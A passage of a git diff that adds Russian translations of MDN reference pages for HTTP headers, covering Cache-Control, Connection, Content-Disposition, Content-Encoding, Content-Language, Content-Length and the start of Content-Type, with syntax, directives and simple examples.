+<h3 id="Инструкции_кэширования_для_ответов">Инструкции кэширования для ответов</h3>
+
+<p>Стандартные инструкции <code>Cache-Control</code>, которые могут задаваться сервером для HTTP ответа.</p>
+
+<pre class="syntaxbox">Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: s-maxage=&lt;seconds&gt;
+</pre>
+
+<h3 id="Расширенные_инструкции_Cache-Control">Расширенные инструкции <code>Cache-Control</code></h3>
+
+<p>Расширенные инструкции <code>Cache-Control</code> не являются частью базовых стандартов, описывающих кэширование в HTTP. В <a href="#Browser_compatibility">таблице совместимости</a> указаны браузеры, которые поддерживают расширенные инструкции.</p>
+
+<pre class="syntaxbox">Cache-Control: immutable
+Cache-Control: stale-while-revalidate=&lt;seconds&gt;
+Cache-Control: stale-if-error=&lt;seconds&gt;
+</pre>
+
+<h2 id="Инструкции">Инструкции</h2>
+
+<h3 id="Управление_кэшированием">Управление кэшированием</h3>
+
+<dl>
+ <dt><code>public</code></dt>
+ <dd>Указывает, что ответ может быть закэширован в любом кэше.</dd>
+ <dt><code>private</code></dt>
+ <dd>Указывает, что ответ предназначен для одного пользователя и не должен помещаться в разделяемый кэш. Частный кэш может хранить ресурс.</dd>
+ <dt><code>no-cache</code></dt>
+ <dd>Указывает на необходимость отправить запрос на сервер для валидации ресурса перед использованием закешированных данных.</dd>
+ <dt><code>only-if-cached</code></dt>
+ <dd>Указывает на необходимость использования только закэшированных данных. Запрос на сервер не должен посылаться.</dd>
+</dl>
+
+<h3 id="Управление_временем_жизни">Управление временем жизни</h3>
+
+<dl>
+ <dt><code>max-age=&lt;seconds&gt;</code></dt>
+ <dd>Задает максимальное время в течение которого ресурс будет считаться актуальным. В отличие от <code>Expires</code>, данная инструкция является относительной по отношению ко времени запроса.</dd>
+ <dt><code>s-maxage=&lt;seconds&gt;</code></dt>
+ <dd>Переопределяет <code>max-age</code> или заголовок <code>Expires</code>, но применяется только для разделяемых кэшей (например, прокси) и игнорируется частными кэшами.</dd>
+ <dt><code>max-stale[=&lt;seconds&gt;]</code></dt>
+ <dd>Указывает, что клиент хочет пролучить ответ, для которого было превышено время устаревания. Дополнительно может быть указано значение в секундах, указывающее, что ответ не должен быть просрочен более чем на указанное значение.</dd>
+ <dt><code>min-fresh=&lt;seconds&gt;</code></dt>
+ <dd>Указывает, что клиент хочет получить ответ, который будет актуален как минимум указанное количество секунд.</dd>
+ <dt><code>stale-while-revalidate=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>Указывает, что клиент хочет получить просроченный ответ, одновременно осуществляя фоновую проверку наличия свежих данных. Значение в секундах обозначает, какое время клиент желает получать просроченный ответ.</dd>
+ <dt><code>stale-if-error=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h3 id="Управление_ревалидацией_и_перезагрузкой">Управление ревалидацией и перезагрузкой</h3>
+
+<dl>
+ <dt><code>must-revalidate</code></dt>
+ <dd>Кэш должен проверить статус устаревших ресурсов перед их использованием. Просроченные ресурсы не должны быть использованы.</dd>
+ <dt><code>proxy-revalidate</code></dt>
+ <dd>То же самое, что <code>must-revalidate</code>, но применимо только к разделяемым кэшам (например, прокси) и игнорируется частными кэшами.</dd>
+ <dt><code>immutable</code></dt>
+ <dd>Indicates that the response body will not change over time. The resource, if unexpired, is unchanged on the server and therefore the client should not send a conditional revalidation for it (e.g. <code>If-None-Match</code> or <code>If-Modified-Since</code>) to check for updates, even when the user explicitly refreshes the page. Clients that aren't aware of this extension must ignore them as per the HTTP specification. In Firefox, <code>immutable</code> is only honored on <code>https://</code> transactions. For more information, see also this <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">blog post</a>.</dd>
+</dl>
+
+<h3 id="Другие_инструкции">Другие инструкции</h3>
+
+<dl>
+ <dt><code>no-store</code></dt>
+ <dd>Кэш не должен хранить никакую информацию о запросе и ответе</dd>
+ <dt><code>no-transform</code></dt>
+ <dd>Никакие преобразования не должны применяться к ресурсу. Заголовки <code>Content-Encoding</code>, <code>Content-Range</code>, <code>Content-Type</code> не должны изменяться прокси. Непрозрачный прокси может, например, конвертировать изображения из одного формата в другой для сохранения дискового пространства или уменьшения трафика. Инструкция <code>no-transform</code> запрещает это.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Выключение_кэширования">Выключение кэширования</h3>
+
+<p>Для выключения кэширования возможно добавить следующий заголовок к ответу. Дополнительно см. заголовки <code>Expires</code> и <code>Pragma</code>.</p>
+
+<pre class="brush: bash">Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h3 id="Кэширование_статического_контента">Кэширование статического контента</h3>
+
+<p>Для файлов, которые не будут изменяться обычно возможно применить агрессивное кэширование, отослав ответ с заголовком ниже. Например, такой ответ может быть послан для изображений, файлов CSS и JavaScript. Дополнительно см. заголовок <code>Expires</code>.</p>
+
+<pre class="brush: bash">Cache-Control: public, max-age=31536000</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7234")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ </tr>
+ <tr>
+ <td>{{RFC("5861")}}</td>
+ <td>HTTP Cache-Control Extensions for Stale Content</td>
+ </tr>
+ <tr>
+ <td>{{RFC("8246")}}</td>
+ <td>HTTP Immutable Responses</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Cache-Control")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li>
+ <li>{{HTTPHeader("Age")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/connection/index.html b/files/ru/web/http/заголовки/connection/index.html
new file mode 100644
index 0000000000..48a5a9dce5
--- /dev/null
+++ b/files/ru/web/http/заголовки/connection/index.html
@@ -0,0 +1,53 @@
+---
+title: Connection
+slug: Web/HTTP/Заголовки/Connection
+tags:
+ - HTTP
+ - Веб
+ - Заголовки
+ - Справка
+translation_of: Web/HTTP/Headers/Connection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <strong><code>Connection</code></strong> определяет, остается ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение <code>keep-alive</code>, то соединение остается и не завершается, позволяя выполнять последующие запросы на тот же сервер.</p>
+
+<div class="blockIndicator warning">
+<p>Заголовки, связанные с соединением, такие как {{HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">запрещены в HTTP/2</a>. Chrome и Firefox просто игнорируют эти заголовки в HTTP/2 ответах, однако Safari, следуя требованиям HTTP/2, вообще не будет загружать какие-либо ответы, которые содержат данные заголовки.</p>
+</div>
+
+<p>За исключением стандартных заголовков <a href="https://en.wikipedia.org/wiki/Hop-by-hop_transport">«hop-by-hop»</a> ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} и {{HTTPHeader("Proxy-Authenticate")}}), любые «hop-by-hop» заголовки, используемые в сообщении, должны быть перечислены в заголовке <code>Connection</code> так, чтобы первый прокси знал, как их использовать, и не передавал дальше. Также могут быть перечислены стандартные «hop-by-hop» заголовки (часто это относится к {{HTTPHeader("Keep-Alive")}}, но это необязательно).</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("General header", "Общий заголовок")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Connection: keep-alive
+Connection: close
+</pre>
+
+<h2 id="Указания">Указания</h2>
+
+<dl>
+ <dt><code>close</code></dt>
+ <dd>Указывает, что клиент или сервер хотели бы закрыть соединение. Это значение по умолчанию для запросов HTTP/1.0.</dd>
+ <dt>любой список HTTP заголовков через запятую[Обычно только <code>keep-alive</code>]</dt>
+ <dd>Указывает, что клиент хотел бы сохранить соединение активным. Постоянное соединение используется по умолчанию для запросов HTTP/1.1. Список заголовков -- это имена заголовка, которые удаляются первым непрозрачным прокси-сервером или промежуточным кэшем: эти заголовки определяют соединение между источником и первым объектом, а не целевым узлом.</dd>
+</dl>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста авторизуйтесь на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</p>
+
+<p>{{Compat("http.headers.Connection")}}</p>
diff --git a/files/ru/web/http/заголовки/content-disposition/index.html b/files/ru/web/http/заголовки/content-disposition/index.html
new file mode 100644
index 0000000000..406cc0720c
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-disposition/index.html
@@ -0,0 +1,137 @@
+---
+title: Content-Disposition
+slug: Web/HTTP/Заголовки/Content-Disposition
+tags:
+ - HTTP
+ - HTTP-заголовок
+ - header
+translation_of: Web/HTTP/Headers/Content-Disposition
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>В обычном HTTP-ответе заголовок <code><strong>Content-Disposition</strong></code> является индикатором того, что ожидаемый контент ответа будет отображаться в браузере, как вэб-страница или часть вэб-страницы, или же как вложение, которое затем может быть скачано и сохранено локально.</div>
+
+<div> </div>
+
+<p>В случае, если тело HTTP-запроса типа <code>multipart/form-data</code>, то общий заголовок <strong><code>Content-Disposition</code></strong> используется для каждой из составных частей multipart тела для указания дополнительных сведений по полю, к которому применён заголовок. Каждая часть отделена с помощью <em>границы (boundary)</em>, определённой в заголовке {{HTTPHeader("Content-Type")}}. <code>Content-Disposition,</code> используемый непосредственно для всего тела HTTP-запроса, ни на что не влияет.</p>
+
+<p>Заголовок <code>Content-Disposition</code> определён для более широкого контекста MIME-сообщений для e-mail, поэтому для HTTP-форм и {{HTTPMethod("POST")}}-запросов используются только несколько допустимых параметров. В контексте HTTP можно использовать только значение <code>form-data</code>, а также опциональные директивы <code>name</code> и <code>filename</code>.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header", "Заголовок ответа")}} (для тела ответа простого типа)<br>
+ {{Glossary("General header", "Основной заголовок")}} (для каждой части составного тела)</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th>
+ <td>нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Как_заголовок_ответа_с_обычным_телом">Как заголовок ответа с обычным телом</h3>
+
+<p>Первым параметром в контексте HTTP должен быть или <code>inline</code> (это значение по умолчанию, указывающее, что контент должен быть отображен внутри вэб-страницы или как вэб-страница) или <code>attachment</code> (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра <code>filename</code>, если он задан).</p>
+
+<pre class="syntaxbox">Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"</pre>
+
+<h3 id="Как_заголовок_в_составном_теле">Как заголовок в составном теле</h3>
+
+<p>Первым параметром в контексте HTTP всегда является <code>form-data</code>; дополнительные параметры регистронезависимые и могут иметь аргументы, значения которых следуют после знака <code>'='</code> и берутся в кавычки. Несколько параметров разделяются через точку с запятой (<code>';'</code>).</p>
+
+<pre class="syntaxbox">Content-Disposition: form-data
+Content-Disposition: form-data; name="fieldName"
+Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre>
+
+<h3 id="Директивы">Директивы</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>За параметром следует строка с именем HTML-поля на форме, к которому относится данная часть составного тела. При работе с несколькими файлами в том же самом поле (например, атрибуты {{htmlattrxref("multiple", "input")}} элемента <code>{{HTMLElement("input","&lt;input type=file&gt;")}}</code>), могут быть несколько частей с одинаковым именем.<br>
+ Если <code>name</code> имеет значение <code>'_charset_'</code>, указывающее, что данная часть не является HTML-полем, то она содержит кодировку по умолчанию для всех частей, в которых явно кодировка не указана.</dd>
+ <dt><code>filename</code></dt>
+ <dd>За параметром указана строка с оригинальным именем передаваемого файла. Это имя опционально и не может слепо использоваться приложением: информация о пути должна быть очищена и должно быть сделано преобразование к файловой системе сервера. Этот параметр предоставляет в основном справочную информацию. Когда используется в комбинации с <code>Content-Disposition: attachment</code>, это значение будет использовано как имя файла по умолчанию для диалога "Сохранить как".</dd>
+ <dt>filename*</dt>
+ <dd>
+ <p>Оба параметра "filename" и "filename*" отличаются только тем, что "filename*"  использует кодирование, определённое в <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a>. Когда присутствуют оба параметра "filename" и "filename*" в одном поле заголовке, то преимущество имеет "filename*" над "filename", но только в случае когда оба значения корректны.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Ответ, вызывающий диалог "Сохранить как":</p>
+
+<pre>200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="cool.html"
+Content-Length: 22
+
+&lt;HTML&gt;Save me!&lt;/HTML&gt;
+</pre>
+
+<p>Простой HTML-файл будет сохранён как обычное сохранение с диалогом "Сохранить как" вместо отображения контента файла в браузере. Большинство браузеров предложат его сохранить под именем <code>cool.html</code> (это поведение по умолчанию).</p>
+
+<p>Пример HTML-формы, переданной через POST с использованием формата <code>multipart/form-data</code>, который использует заголовок <code>Content-Disposition</code>:</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7578")}}</td>
+ <td>Returning Values from Forms: multipart/form-data</td>
+ </tr>
+ <tr>
+ <td>{{RFC("6266")}}</td>
+ <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+ </tr>
+ <tr>
+ <td>{{RFC("2183")}}</td>
+ <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Disposition")}}</p>
+
+<h2 id="Замечания_по_совместимости">Замечания по совместимости</h2>
+
+<ul>
+ <li>Firefox 5 обрабатывает <code>Content-Disposition заголовка</code> HTTP-ответа response более эффективно, если присутствуют оба параметра <code>filename</code> и <code>filename*</code>; он просматривает сначала все предоставленные имена <code>filename*</code>, даже есть вначале идут <code>filename</code>. Ранее использовалось первое найденное имя. See {{bug(588781)}}.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML-формы</a></li>
+ <li>{{HTTPHeader("Content-Type")}} определяет границу для частей составного тела.</li>
+ <li>Интерфейс {{domxref("FormData")}} используется для обработки данных форм для использования в API {{domxref("XMLHttpRequest")}}.</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/content-encoding/index.html b/files/ru/web/http/заголовки/content-encoding/index.html
new file mode 100644
index 0000000000..0f54a68395
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-encoding/index.html
@@ -0,0 +1,107 @@
+---
+title: Content-Encoding
+slug: Web/HTTP/Заголовки/Content-Encoding
+tags:
+ - Content-Encoding
+ - HTTP
+ - Headers
+translation_of: Web/HTTP/Headers/Content-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Encoding</code></strong> - это сущность заголовка, используемая для сжатия медиа-типа. При наличии ее значение определяет кодировку, примененную к сущности <strong><code>body</code></strong>. Это позволяет клиенту информацию как декодировать <strong><code>body</code></strong>, чтобы получить медиа-тип ссылающийся на  заголовок <code><strong>Content-Type </strong></code></p>
+
+<p>Рекомендация - сжимать данные насколько это возможно и следовательно использовать это поле, но некоторые типы данных, такие как изображения в формате jpeg, уже сжаты. Иногда, использование дополнительного сжатия не уменьшает размер пакета и даже может сделать загрузку дольше.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+
+// Multiple, in the order in which they were applied
+Content-Encoding: gzip, identity
+Content-Encoding: deflate, gzip
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>A format using the <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), with a 32-bit CRC. This is the original format of the UNIX <em>gzip</em> program. The HTTP/1.1 standard also recommends that the servers supporting this content-encoding should recognize <code>x-gzip</code> as an alias, for compatibility purposes.</dd>
+ <dt><code>compress</code></dt>
+ <dd>A format using the <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) algorithm. The value name was taken from the UNIX <em>compress</em> program, which implemented this algorithm. Like the compress program, which has disappeared from most UNIX distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003).</dd>
+ <dt><code>deflate</code></dt>
+ <dd>Using the <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> structure (defined in <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>) with the <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> compression algorithm (defined in <a class="external" href="http://tools.ietf.org/html/rfc1951">RFC 1951</a>).</dd>
+ <dt><code>identity</code></dt>
+ <dd>Indicates the identity function (i.e., no compression or modification). This token, except if explicitly specified, is always deemed acceptable.</dd>
+ <dt><code>br</code></dt>
+ <dd>A format using the <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> algorithm.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Compressing_with_gzip">Compressing with gzip</h3>
+
+<p>On the client side, you can advertise a list of compression schemes that will be sent along in an HTTP request. The {{HTTPHeader("Accept-Encoding")}} header is used for negotiating content encoding.</p>
+
+<pre>Accept-Encoding: gzip, deflate</pre>
+
+<p>The server responds with the scheme used, indicated by the <code>Content-Encoding</code> response header.</p>
+
+<pre>Content-Encoding: gzip</pre>
+
+<p>Note that the server is not obligated to use any compression method. Compression highly depends on server settings and used server modules.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7932", "Brotli Compressed Data Format")}}</td>
+ <td>Brotli Compressed Data Format</td>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ <tr>
+ <td>{{RFC("2616", "Content-Encoding", "14.11")}}</td>
+ <td>Content-Encoding</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Encoding")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/content-language/index.html b/files/ru/web/http/заголовки/content-language/index.html
new file mode 100644
index 0000000000..dfe3007fc9
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-language/index.html
@@ -0,0 +1,103 @@
+---
+title: Content-Language
+slug: Web/HTTP/Заголовки/Content-Language
+translation_of: Web/HTTP/Headers/Content-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> </p>
+
+<p>{{Glossary("HTTP-заголовок")}} <strong><code>Content-Language</code></strong> используется для описания языков контента доступных для аудитории, позволяя таким образом пользователю выбрать язык в соответствии со своими предпочтениями.</p>
+
+<p>Например, если установлен заголовок "<code>Content-Language: de-DE</code>", это говорит о том, что документ предназначен для носителей немецкого языка (однако это не означает, что документ написан на немецком языке). Это может быть документ на английском языке в рамках языкового курса для носителей немецкого языка).</p>
+
+<p>Если заголовок <code>Content-Language</code> не указан, по умолчанию предполагается, что содержимое предназначено для всех языковых аудиторий. Также допустимо использование в заголовке нескольких языковых тегов. Заголовок <code>Content-Language</code> может применяться не только к текстовым документам но и другим типам контента.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>yes</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Content-Language: de-DE
+Content-Language: en-US
+Content-Language: de-DE, en-CA
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>language-tag</code></dt>
+ <dd>Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учета регистра, разделенных символом дефиса ("<code>-</code>", <code>%x2D</code>).</dd>
+ <dd>В большинстве случаев языковой тег состоит из подтега основного языка, который идентифицирует широкое семейство родственных языков (например, "<code>en</code>" = English), за которым дополнительно следует ряд подтегов, уточняющих или сужающих диапазон этого языка (например, "<code>en-CA</code>" = вариант диалекта английского языка, использующегося в Канаде).</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Языковые теги формально описаны в <a href="https://tools.ietf.org/html/rfc5646">RFC 5646</a>, который в свою очередь опирается на стандарт <a href="https://en.wikipedia.org/wiki/ISO_639">ISO 639</a> (точнее на <a href="https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes">ISO 639-1 code list</a>) в части перечня используемых <a href="https://en.wikipedia.org/wiki/Language_code">language codes</a>.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Указание_использованного_языка_документа">Указание использованного языка документа</h3>
+
+<p>Глобальный аттрибут <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> используется на HTML элементах для указания языка всего HTML документа или его частей.</p>
+
+<pre class="brush: html">&lt;html lang="de"&gt;</pre>
+
+<p><strong>Не </strong> используйте этот мета элемент как здесь для констатирования языка документа:</p>
+
+<pre class="brush: html example-bad">&lt;!-- /!\ Это плохая практика --&gt;
+&lt;meta http-equiv="content-language" content="de"&gt;</pre>
+
+<h3 id="Указание_целевой_аудитории_для_ресурса">Указание целевой аудитории для ресурса</h3>
+
+<p><code>Content-Language</code> заголовок используется для определения целевой аудитории страницы и может указывать на более чем 1 язык.</p>
+
+<pre>Content-Language: de, en</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами"><strong>Совместимость с браузерами</strong></h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Language")}}</p>
+
+<h2 id="Смотрите_также"><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/set#%D0%A1%D0%BC%D0%BE%D1%82%D1%80%D0%B8%D1%82%D0%B5_%D1%82%D0%B0%D0%BA%D0%B6%D0%B5">Смотрите также</a></h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>
+ <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP headers, meta elements and language information</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/заголовки/content-length/index.html b/files/ru/web/http/заголовки/content-length/index.html
new file mode 100644
index 0000000000..0b2c087b65
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-length/index.html
@@ -0,0 +1,67 @@
+---
+title: Content-Length
+slug: Web/HTTP/Заголовки/Content-Length
+tags:
+ - HTTP
+ - Headers
+ - Reference
+ - Длина контента
+ - Заголовок
+ - запрос
+translation_of: Web/HTTP/Headers/Content-Length
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <strong><code>Content-Length</code></strong> указывает размер отправленного получателю тела объекта в байтах.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Entity header", "Заголовок сущности")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Можно не передавать</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Content-Length: &lt;длина&gt;
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;длина&gt;</dt>
+ <dd>Байты.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p class="hidden">Таблица совместимостина этой странице сгенерирована из структурированных данных. Если вы хотите добавить данные, пожалуйста отправьте пулл-реквест в репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></p>
+
+<p>{{Compat("http.headers.Content-Length")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/content-type/index.html b/files/ru/web/http/заголовки/content-type/index.html
new file mode 100644
index 0000000000..a6900ebab3
--- /dev/null
+++ b/files/ru/web/http/заголовки/content-type/index.html
@@ -0,0 +1,111 @@
+---
+title: Content-Type
+slug: Web/HTTP/Заголовки/Content-Type
+translation_of: Web/HTTP/Headers/Content-Type
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок-сущность <strong><code>Content-Type</code></strong> используется для того, чтобы определить {{Glossary("MIME type","MIME тип")}} ресурса.</p>
+
+<p>В ответах сервера заголовок <code>Content-Type</code> сообщает клиенту, какой будет тип передаваемого контента. В некоторых случаях браузеры пытаются сами определить MIME тип передаваемого контента, но их реакция может быть неадекватной. Чтобы предотвратить такие ситуации, Вы можете установить в заголовке {{HTTPHeader("X-Content-Type-Options")}} значение <code>nosniff</code>.</p>
+
+<p>В запросах (таких, как {{HTTPMethod("POST")}} или {{HTTPMethod("PUT")}}), клиент сообщает серверу тип отправляемых данных.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>да</td>
